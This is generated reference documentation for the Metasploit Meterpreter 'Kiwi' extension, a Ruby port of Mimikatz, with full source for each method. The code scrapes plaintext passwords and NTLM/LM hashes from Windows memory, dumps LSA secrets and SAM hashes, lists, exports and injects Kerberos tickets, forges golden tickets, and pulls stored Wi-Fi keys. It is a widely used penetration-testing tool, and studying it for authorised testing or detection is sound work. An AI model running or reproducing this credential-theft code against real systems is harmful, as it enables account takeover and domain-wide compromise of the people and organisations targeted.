Class: Rex::Post::Meterpreter::Extensions::Kiwi::Kiwi

Inherits:
Rex::Post::Meterpreter::Extension show all
Defined in:
lib/rex/post/meterpreter/extensions/kiwi/kiwi.rb

Overview

Kiwi extension - grabs credentials from windows memory.

Benjamin DELPY ‘gentilkiwi` blog.gentilkiwi.com/mimikatz

extension converted by OJ Reeves (TheColonial)

Constant Summary collapse

PWD_ID_SEK_ALLPASS =

These are constants that identify the type of credential to dump from the target machine.

0
PWD_ID_SEK_WDIGEST =
1
PWD_ID_SEK_MSV =
2
PWD_ID_SEK_KERBEROS =
3
PWD_ID_SEK_TSPKG =
4
PWD_ID_SEK_LIVESSP =
5
PWD_ID_SEK_SSP =
6
PWD_ID_SEK_DPAPI =
7
KERBEROS_FLAGS =

List of names which represent the flags that are part of the dumped kerberos tickets. The order of these is important. Each of them was pulled from the Mimikatz 2.0 source base.

[
  "NAME CANONICALIZE",
  "<unknown>",
  "OK AS DELEGATE",
  "<unknown>",
  "HW AUTHENT",
  "PRE AUTHENT",
  "INITIAL",
  "RENEWABLE",
  "INVALID",
  "POSTDATED",
  "MAY POSTDATE",
  "PROXY",
  "PROXIABLE",
  "FORWARDED",
  "FORWARDABLE",
  "RESERVED"
].map(&:freeze).freeze

Instance Attribute Summary

Attributes inherited from Rex::Post::Meterpreter::Extension

#name

Instance Method Summary collapse

Constructor Details

#initialize(client) ⇒ Kiwi

Typical extension initialization routine.



65
66
67
68
69
70
71
72
73
74
75
# File 'lib/rex/post/meterpreter/extensions/kiwi/kiwi.rb', line 65

def initialize(client)
  super(client, 'kiwi')

  client.register_extension_aliases(
    [
      {
        'name' => 'kiwi',
        'ext'  => self
      },
    ])
end

Instance Method Details

#all_passArray<Hash>

Scrape all passwords from the target machine.

Returns:

  • (Array<Hash>)


306
307
308
# File 'lib/rex/post/meterpreter/extensions/kiwi/kiwi.rb', line 306

def all_pass
  scrape_passwords(PWD_ID_SEK_ALLPASS)
end

#golden_ticket_create(user, domain, sid, tgt, id = 0, group_ids = []) ⇒ String

Create a new golden kerberos ticket on the target machine and return it.

Parameters:

  • user (String)

    Name of the user to create the ticket for.

  • domain (String)

    Domain name.

  • sid (String)

    SID of the domain.

  • tgt (String)

    The kerberos ticket granting token.

  • id (Fixnum) (defaults to: 0)

    ID of the user to grant the token for.

  • group_ids (Array<Fixnum>) (defaults to: [])

    IDs of the groups to assign to the user

Returns:

  • (String)


219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
# File 'lib/rex/post/meterpreter/extensions/kiwi/kiwi.rb', line 219

def golden_ticket_create(user, domain, sid, tgt, id = 0, group_ids = [])
  request = Packet.create_request('kiwi_kerberos_golden_ticket_create')
  request.add_tlv(TLV_TYPE_KIWI_GOLD_USER, user)
  request.add_tlv(TLV_TYPE_KIWI_GOLD_DOMAIN, domain)
  request.add_tlv(TLV_TYPE_KIWI_GOLD_SID, sid)
  request.add_tlv(TLV_TYPE_KIWI_GOLD_TGT, tgt)
  request.add_tlv(TLV_TYPE_KIWI_GOLD_USERID, id)

  group_ids.each do |g|
    request.add_tlv(TLV_TYPE_KIWI_GOLD_GROUPID, g)
  end

  response = client.send_request(request)
  return response.get_tlv_value(TLV_TYPE_KIWI_KERB_TKT_RAW)
end

#kerberosArray<Hash>

Scrape Kerberos credentials from the target machine.

Returns:

  • (Array<Hash>)


354
355
356
# File 'lib/rex/post/meterpreter/extensions/kiwi/kiwi.rb', line 354

def kerberos
  scrape_passwords(PWD_ID_SEK_KERBEROS)
end

#kerberos_ticket_list(export) ⇒ Array<Hash>

List available kerberos tickets.

Parameters:

  • export (Bool)

    Set to true to export the content of each ticket

Returns:

  • (Array<Hash>)


156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
# File 'lib/rex/post/meterpreter/extensions/kiwi/kiwi.rb', line 156

def kerberos_ticket_list(export)
  export ||= false
  request = Packet.create_request('kiwi_kerberos_ticket_list')
  request.add_tlv(TLV_TYPE_KIWI_KERB_EXPORT, export)
  response = client.send_request(request)

  results = []

  response.each(TLV_TYPE_KIWI_KERB_TKT) do |t|
    results << {
      :enc_type     => t.get_tlv_value(TLV_TYPE_KIWI_KERB_TKT_ENCTYPE),
      :start        => t.get_tlv_value(TLV_TYPE_KIWI_KERB_TKT_START),
      :end          => t.get_tlv_value(TLV_TYPE_KIWI_KERB_TKT_END),
      :max_renew    => t.get_tlv_value(TLV_TYPE_KIWI_KERB_TKT_MAXRENEW),
      :server       => t.get_tlv_value(TLV_TYPE_KIWI_KERB_TKT_SERVERNAME),
      :server_realm => t.get_tlv_value(TLV_TYPE_KIWI_KERB_TKT_SERVERREALM),
      :client       => t.get_tlv_value(TLV_TYPE_KIWI_KERB_TKT_CLIENTNAME),
      :client_realm => t.get_tlv_value(TLV_TYPE_KIWI_KERB_TKT_CLIENTREALM),
      :flags        => t.get_tlv_value(TLV_TYPE_KIWI_KERB_TKT_FLAGS),
      :raw          => t.get_tlv_value(TLV_TYPE_KIWI_KERB_TKT_RAW)
    }
  end

  results
end

#kerberos_ticket_purgevoid

This method returns an undefined value.

Purge any Kerberos tickets that have been added to the current session.



201
202
203
204
205
# File 'lib/rex/post/meterpreter/extensions/kiwi/kiwi.rb', line 201

def kerberos_ticket_purge
  request = Packet.create_request('kiwi_kerberos_ticket_purge')
  client.send_request(request)
  return true
end

#kerberos_ticket_use(ticket) ⇒ void

This method returns an undefined value.

Use the given ticket in the current session.

Parameters:

  • ticket (String)

    Content of the Kerberos ticket to use.



189
190
191
192
193
194
# File 'lib/rex/post/meterpreter/extensions/kiwi/kiwi.rb', line 189

def kerberos_ticket_use(ticket)
  request = Packet.create_request('kiwi_kerberos_ticket_use')
  request.add_tlv(TLV_TYPE_KIWI_KERB_TKT_RAW, ticket, false, true)
  client.send_request(request)
  return true
end

#livesspArray<Hash>

Scrape LiveSSP credentials from the target machine.

Returns:

  • (Array<Hash>)


330
331
332
# File 'lib/rex/post/meterpreter/extensions/kiwi/kiwi.rb', line 330

def livessp
  scrape_passwords(PWD_ID_SEK_LIVESSP)
end

#lsa_dumpHash<Symbol,Object>

Dump the LSA secrets from the target machine.

Returns:

  • (Hash<Symbol,Object>)


81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
# File 'lib/rex/post/meterpreter/extensions/kiwi/kiwi.rb', line 81

def lsa_dump
  request = Packet.create_request('kiwi_lsa_dump_secrets')

  response = client.send_request(request)

  result = {
    :major    => response.get_tlv_value(TLV_TYPE_KIWI_LSA_VER_MAJ),
    :minor    => response.get_tlv_value(TLV_TYPE_KIWI_LSA_VER_MIN),
    :compname => response.get_tlv_value(TLV_TYPE_KIWI_LSA_COMPNAME),
    :syskey   => response.get_tlv_value(TLV_TYPE_KIWI_LSA_SYSKEY),
    :nt5key   => response.get_tlv_value(TLV_TYPE_KIWI_LSA_NT5KEY),
    :nt6keys  => [],
    :secrets  => [],
    :samkeys  => []
  }

  response.each(TLV_TYPE_KIWI_LSA_NT6KEY) do |k|
    result[:nt6keys] << {
      :id    => k.get_tlv_value(TLV_TYPE_KIWI_LSA_KEYID),
      :value => k.get_tlv_value(TLV_TYPE_KIWI_LSA_KEYVALUE)
    }
  end

  response.each(TLV_TYPE_KIWI_LSA_SECRET) do |s|
    result[:secrets] << {
      :name        => s.get_tlv_value(TLV_TYPE_KIWI_LSA_SECRET_NAME),
      :service     => s.get_tlv_value(TLV_TYPE_KIWI_LSA_SECRET_SERV),
      :ntlm        => s.get_tlv_value(TLV_TYPE_KIWI_LSA_SECRET_NTLM),
      :current     => s.get_tlv_value(TLV_TYPE_KIWI_LSA_SECRET_CURR),
      :current_raw => s.get_tlv_value(TLV_TYPE_KIWI_LSA_SECRET_CURR_RAW),
      :old         => s.get_tlv_value(TLV_TYPE_KIWI_LSA_SECRET_OLD),
      :old_raw     => s.get_tlv_value(TLV_TYPE_KIWI_LSA_SECRET_OLD_RAW)
    }
  end

  response.each(TLV_TYPE_KIWI_LSA_SAM) do |s|
    result[:samkeys] << {
      :rid       => s.get_tlv_value(TLV_TYPE_KIWI_LSA_SAM_RID),
      :user      => s.get_tlv_value(TLV_TYPE_KIWI_LSA_SAM_USER),
      :ntlm_hash => s.get_tlv_value(TLV_TYPE_KIWI_LSA_SAM_NTLMHASH),
      :lm_hash   => s.get_tlv_value(TLV_TYPE_KIWI_LSA_SAM_LMHASH)
    }
  end

  result
end

#msvArray<Hash>

Scrape msv credentials from the target machine.

Returns:

  • (Array<Hash>)


322
323
324
# File 'lib/rex/post/meterpreter/extensions/kiwi/kiwi.rb', line 322

def msv
  scrape_passwords(PWD_ID_SEK_MSV)
end

#scrape_passwords(pwd_id) ⇒ Array<Hash>

Scrape passwords from the target machine.

Parameters:

  • pwd_id (Fixnum)

    ID of the type credential to scrape.

Returns:

  • (Array<Hash>)


281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
# File 'lib/rex/post/meterpreter/extensions/kiwi/kiwi.rb', line 281

def scrape_passwords(pwd_id)
  request = Packet.create_request('kiwi_scrape_passwords')
  request.add_tlv(TLV_TYPE_KIWI_PWD_ID, pwd_id)
  response = client.send_request(request)

  results = []
  response.each(TLV_TYPE_KIWI_PWD_RESULT) do |r|
    results << {
      :username => r.get_tlv_value(TLV_TYPE_KIWI_PWD_USERNAME),
      :domain   => r.get_tlv_value(TLV_TYPE_KIWI_PWD_DOMAIN),
      :password => r.get_tlv_value(TLV_TYPE_KIWI_PWD_PASSWORD),
      :auth_hi  => r.get_tlv_value(TLV_TYPE_KIWI_PWD_AUTH_HI),
      :auth_lo  => r.get_tlv_value(TLV_TYPE_KIWI_PWD_AUTH_LO),
      :lm       => r.get_tlv_value(TLV_TYPE_KIWI_PWD_LMHASH),
      :ntlm     => r.get_tlv_value(TLV_TYPE_KIWI_PWD_NTLMHASH)
    }
  end

  return results
end

#sspArray<Hash>

Scrape SSP credentials from the target machine.

Returns:

  • (Array<Hash>)


338
339
340
# File 'lib/rex/post/meterpreter/extensions/kiwi/kiwi.rb', line 338

def ssp
  scrape_passwords(PWD_ID_SEK_SSP)
end

#to_kerberos_flag_list(flags) ⇒ Array<String>

Convert a flag set to a list of string representations for the bit flags that are set.

Parameters:

  • flags (Fixnum)

    Integer bitmask of Kerberos token flags.

Returns:

  • (Array<String>)

    Names of all set flags in flags. See KERBEROS_FLAGS



136
137
138
139
140
141
142
143
144
145
146
147
# File 'lib/rex/post/meterpreter/extensions/kiwi/kiwi.rb', line 136

def to_kerberos_flag_list(flags)
  flags = flags >> 16
  results = []

  KERBEROS_FLAGS.each_with_index do |item, idx|
    if (flags & (1 << idx)) != 0
      results  << item
    end
  end

  results
end

#tspkgArray<Hash>

Scrape TSPKG credentials from the target machine.

Returns:

  • (Array<Hash>)


346
347
348
# File 'lib/rex/post/meterpreter/extensions/kiwi/kiwi.rb', line 346

def tspkg
  scrape_passwords(PWD_ID_SEK_TSPKG)
end

#wdigestArray<Hash>

Scrape wdigest credentials from the target machine.

Returns:

  • (Array<Hash>)


314
315
316
# File 'lib/rex/post/meterpreter/extensions/kiwi/kiwi.rb', line 314

def wdigest
  scrape_passwords(PWD_ID_SEK_WDIGEST)
end

#wifi_listArray<Hash>

List all the wifi interfaces and the profiles associated with them. Also show the raw text passwords for each.

Returns:

  • (Array<Hash>)


240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
# File 'lib/rex/post/meterpreter/extensions/kiwi/kiwi.rb', line 240

def wifi_list
  request = Packet.create_request('kiwi_wifi_profile_list')

  response = client.send_request(request)

  results = []

  response.each(TLV_TYPE_KIWI_WIFI_INT) do |i|
    interface = {
      :guid     => Rex::Text::to_guid(i.get_tlv_value(TLV_TYPE_KIWI_WIFI_INT_GUID)),
      :desc     => i.get_tlv_value(TLV_TYPE_KIWI_WIFI_INT_DESC),
      :state    => i.get_tlv_value(TLV_TYPE_KIWI_WIFI_INT_STATE),
      :profiles => []
    }

    i.each(TLV_TYPE_KIWI_WIFI_PROFILE) do |p|

      xml = p.get_tlv_value(TLV_TYPE_KIWI_WIFI_PROFILE_XML)
      doc = REXML::Document.new(xml)
      profile = doc.elements['WLANProfile']

      interface[:profiles] << {
        :name        => p.get_tlv_value(TLV_TYPE_KIWI_WIFI_PROFILE_NAME),
        :auth        => profile.elements['MSM/security/authEncryption/authentication'].text,
        :key_type    => profile.elements['MSM/security/sharedKey/keyType'].text,
        :shared_key  => profile.elements['MSM/security/sharedKey/keyMaterial'].text
      }
    end

    results << interface
  end

  return results
end